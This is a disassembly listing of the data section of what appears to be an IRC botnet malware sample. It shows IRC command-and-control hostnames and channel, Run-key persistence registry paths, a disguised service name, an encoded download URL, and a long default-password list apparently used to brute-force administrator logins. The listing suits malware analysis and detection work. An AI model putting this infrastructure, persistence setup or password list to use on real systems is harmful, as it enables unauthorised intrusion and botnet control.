		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D0A4o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D0A0o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D31Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D4ECo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DAF4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAF4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DB0C	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DB0C
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB2C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB2C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB4C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB4C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB70	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DB70
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DAF4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DAF4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DB0C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB2C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB4C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
		dd 5 dup(623FA05Fh), 5 dup(9F226D0h), 75h dup(0)
		dd 9F226D0h, 15h dup(0)
		dd 623FA05Fh, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset dword_424F64+0Fh
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aSaber2_ircqfor	db 'saber2.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 10h
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E8	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_42910C	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 76726573h, 78652E63h, 65h, 6E6E6977h, 61622E74h, 74h
aWindowsSercesA	db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch,	429910h
		dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h,	4298DCh
		dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h,	4298A4h
		dd 4298A0h, 429898h, 429894h, 0
		dd offset byte_43DB98
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4294D0	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294BCo
		align 10h
aLan		db 'lan',0              ; DATA XREF: ___:004294B4o
aMain		db 'main',0             ; DATA XREF: ___:004294B0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294ACo
aBlank		db 'blank',0            ; DATA XREF: ___:004294A8o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A4o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A0o
aXp		db 'xp',0               ; DATA XREF: ___:0042949Co
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: ___:00429498o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429494o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429490o
aCompaq		db 'compaq',0           ; DATA XREF: ___:0042948Co
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429488o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429484o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429480o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429478o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
		align 10h
aSql		db 'sql',0              ; DATA XREF: ___:00429470o
aSa		db 'sa',0               ; DATA XREF: ___:0042946Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429468o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: ___:00429460o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:0042945Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429458o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429454o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429450o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:0042944Co
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00429448o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429440o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:0042943Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429438o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429434o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429430o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042942Co
aSex		db 'sex',0              ; DATA XREF: ___:00429428o
					; ___:off_438A78o
aSlut		db 'slut',0             ; DATA XREF: ___:00429424o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:00429420o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042941Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: ___:00429418o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429414o
		align 4
